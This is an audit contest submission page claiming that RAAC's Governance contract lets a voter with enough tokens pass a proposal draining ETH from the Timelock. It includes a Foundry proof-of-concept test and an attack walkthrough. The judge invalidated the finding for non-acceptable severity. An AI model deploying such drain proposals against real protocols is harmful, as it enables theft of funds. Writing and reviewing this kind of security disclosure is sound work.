Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Attackers can drain all TimeController.sol ETH due to lack of validation of proposal target.

Summary

There is a critical flaw in governance.sol that allows an attacker to drain ETH from the TimelockController.sol contract through malicious proposals. With insufficient validation of proposal targets and values, combined with the ability to execute direct ETH transfers through empty calldata.

The POC demonstrates how an attacker with sufficient voting power (500k RAAC tokens) can:

  • Create a proposal to transfer all ETH (10 ETH in POC) from Timelock to themselves

  • Pass the proposal using their voting power

  • Execute through the timelock delay to drain funds

  • Successfully transfer protocol's ETH to their address

Under normal conditions, the governance system should have strict validation on:

  • Proposal targets (whitelist/blacklist)

  • Value transfers (limits/caps)

  • Empty calldata with value transfers

  • Treasury protection mechanisms

In Ethereum, a transaction can transfer ETH from one address to another without requiring any additional data in the calldata field. Calldata is typically used to specify function calls or pass parameters to smart contracts, but for a simple ETH transfer to an externally owned account (EOA), no calldata is needed. The transaction simply includes the sender’s address, the recipient’s address, the amount of ETH to transfer (in wei). The calldata would remain empty and the transfer will still execute successfully as long as the transaction is valid and has sufficient gas.

Vulnerability Details

Affected Functions

In Governance.sol:The proposefunction: https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/proposals/Governance.sol#L127

function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description,
ProposalType proposalType
) external override returns (uint256) {
// Only checks array lengths
if (targets.length == 0 || targets.length != values.length || targets.length != calldatas.length) {
revert InvalidProposalLength(targets.length, values.length, calldatas.length);
}
// Missing:
// - Target validation
// - Value limits
// - Empty calldata checks
}
  • propose() function fails to validate the ProposalType parameter.

Looking at the fucntion more closely:

function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description,
ProposalType proposalType // <-- Never validated!
) external override returns (uint256) {
// Only checks array lengths
if (targets.length == 0 || targets.length != values.length || targets.length != calldatas.length) {
revert InvalidProposalLength(targets.length, values.length, calldatas.length);
}
// Stores proposalType without any validation
_proposals[proposalId] = ProposalCore({
id: proposalId,
proposer: msg.sender,
proposalType: proposalType, // <-- Stored as-is
// ...
});
}

This opens the fucntion to series of attacks.

  • Proof of code: add this code to the test file and run the code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../../../../contracts/core/governance/proposals/Governance.sol";
import "../../../../../contracts/core/governance/proposals/TimelockController.sol";
import "../../../../../contracts/interfaces/core/governance/proposals/IGovernance.sol";
import "../../../../../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../../../../../contracts/core/tokens/veRAACToken.sol";
contract MockRAACToken is ERC20 {
constructor() ERC20("RAAC", "RAAC") {
_mint(msg.sender, 10_000_000e18);
}
}
contract GovernanceTest is Test {
Governance public governance;
TimelockController public timelock;
veRAACToken public veToken;
MockRAACToken public raacToken;
address public admin = address(this);
address public attacker = makeAddr("attacker");
address[] public attackerAccounts;
uint256 constant NUM_ACCOUNTS = 5;
function setUp() public {
raacToken = new MockRAACToken();
veToken = new veRAACToken(address(raacToken));
address[] memory proposers = new address[](1);
address[] memory executors = new address[](1);
proposers[0] = admin;
executors[0] = admin;
timelock = new TimelockController(2 days, proposers, executors, admin);
governance = new Governance(address(veToken), address(timelock));
timelock.grantRole(timelock.PROPOSER_ROLE(), address(governance));
timelock.grantRole(timelock.EXECUTOR_ROLE(), address(governance));
// Create multiple attacker accounts
for(uint i = 0; i < NUM_ACCOUNTS; i++) {
attackerAccounts.push(makeAddr(string.concat("attacker", vm.toString(i))));
// Give each account enough tokens for their larger lock amount
uint256 accountTokens = 200_000e18 * (i + 1);
raacToken.transfer(attackerAccounts[i], accountTokens);
}
// Give extra tokens to attacker0 for the proposal
raacToken.transfer(attackerAccounts[0], 500_000e18);
// Label accounts for better trace readability
vm.label(attackerAccounts[1], "legitimateUser");
vm.label(attackerAccounts[0], "attacker");
}
function testContractDrainAttack() public {
// Setup
vm.startPrank(attackerAccounts[0]);
raacToken.approve(address(veToken), 500_000e18);
veToken.lock(500_000e18, 1460 days);
// Fund timelock with ETH
vm.deal(address(timelock), 10 ether);
// Create drain proposal
address[] memory targets = new address[](1); // Only one transaction
uint256[] memory values = new uint256[](1);
bytes[] memory calldatas = new bytes[](1);
targets[0] = attackerAccounts[0];
values[0] = address(timelock).balance; // Drain current balance
calldatas[0] = "";
uint256 proposalId = governance.propose(
targets,
values,
calldatas,
"Drain Attack Proposal",
IGovernance.ProposalType.TreasuryAction
);
// Pass proposal
vm.warp(block.timestamp + governance.votingDelay() + 1);
governance.castVote(proposalId, true);
vm.warp(block.timestamp + governance.votingPeriod());
// Queue proposal
governance.execute(proposalId); // This queues it in timelock
// Wait for timelock delay
vm.warp(block.timestamp + timelock.getMinDelay());
// Now execute again to actually execute the proposal
governance.execute(proposalId);
// Verify ETH was drained to attacker
assertEq(address(attackerAccounts[0]).balance, 10 ether, "ETH not drained to attacker");
assertEq(address(timelock).balance, 0, "Timelock not drained");
vm.stopPrank();
}
}

Attack Flow

  • Initial Setup - Attacker Gets Voting Power:

// Attacker locks 500k RAAC tokens for max duration
vm.startPrank(attackerAccounts[0]);
raacToken.approve(address(veToken), 500_000e18);
veToken.lock(500_000e18, 1460 days); // Get max voting power
vm.stopPrank();
// Timelock has 10 ETH
vm.deal(address(timelock), 10 ether);
  • Create Malicious Proposal:

// Proposal to drain ETH
address[] memory targets = new address[](1);
uint256[] memory values = new uint256[](1);
bytes[] memory calldatas = new bytes[](1);
targets[0] = attackerAccounts[0]; // Send to attacker
values[0] = address(timelock).balance; // Drain all ETH
calldatas[0] = ""; // Empty calldata for direct transfer
uint256 proposalId = governance.propose(
targets,
values,
calldatas,
"Drain Attack Proposal",
IGovernance.ProposalType.TreasuryAction
);

Impact

Direct Financial Loss:

  • Immediate: Loss of all ETH in Timelock (10 ETH in POC)

  • Future: Protocol treasury at risk

  • Scale: Could affect all protocol ETH holdings

Protocol Operations:

  • Treasury management disrupted

  • ETH-based operations blocked

Tools Used

Recommendations

Add Target Validation

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Appeal created

demonhat Submitter
3 months ago
inallhonesty Lead Judge
3 months ago
demonhat Submitter
3 months ago
inallhonesty Lead Judge
3 months ago
inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.